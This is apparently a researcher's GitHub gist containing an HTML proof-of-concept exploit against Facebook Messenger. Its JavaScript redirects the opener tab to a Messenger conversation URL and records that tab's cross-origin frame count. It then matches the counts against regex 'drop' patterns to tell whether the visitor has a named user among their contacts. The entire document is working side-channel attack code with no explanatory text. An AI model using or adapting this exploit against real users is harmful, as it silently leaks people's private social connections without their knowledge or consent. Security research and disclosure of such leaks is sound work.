/fb-msg-poc.html
Secret
Created Feb 14, 2019
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <title>2.html</title> | |
| </head> | |
| <body> | |
| <script type="text/javascript"> | |
| const pattern = []; | |
| const backgroundTab = window.opener; | |
| const FACEBOOK_ID_OR_USERNAME = "ronmasas"; | |
| backgroundTab.location = `https://messenger.com/t/${FACEBOOK_ID_OR_USERNAME}`; | |
| /** | |
| * Detect the "drop" pattern | |
| * | |
| * @returns {bool} | |
| */ | |
| const hasDrop = (logs) => { | |
| let logsStr = logs.join(''); | |
| let dropDetected = false; | |
| if (logsStr.match(/3{30,}2{1,4}3{30,}/i)) { | |
| dropDetected = true; | |
| } | |
| if (logsStr.match(/4{30,}3{1,4}4{30,}/i)) { | |
| dropDetected = true; | |
| } | |
| if (logsStr.match(/5{30,}4{1,4}5{30,}/i)) { | |
| dropDetected = true; | |
| } | |
| if (logsStr.match(/6{30,}5{1,4}6{30,}/i)) { | |
| dropDetected = true; | |
| } | |
| if (logsStr.match(/7{30,}6{1,4}7{30,}/i)) { | |
| dropDetected = true; | |
| } | |
| return dropDetected; | |
| }; | |
| /** | |
| * Record frames count while the background tab redirects to Messenger | |
| */ | |
| const recorder = setInterval(() => { | |
| pattern.push(backgroundTab.frames.length); | |
| }, 0); | |
| setTimeout(() => { | |
| // Stop the recorder | |
| clearInterval(recorder); | |
| // Output the result | |
| console.log(hasDrop(pattern) ? 'Not in Messenger contacts' : 'In Messenger contacts'); | |
| }, 6 * 1000); | |
| </script> | |
| </body> | |
| </html> |
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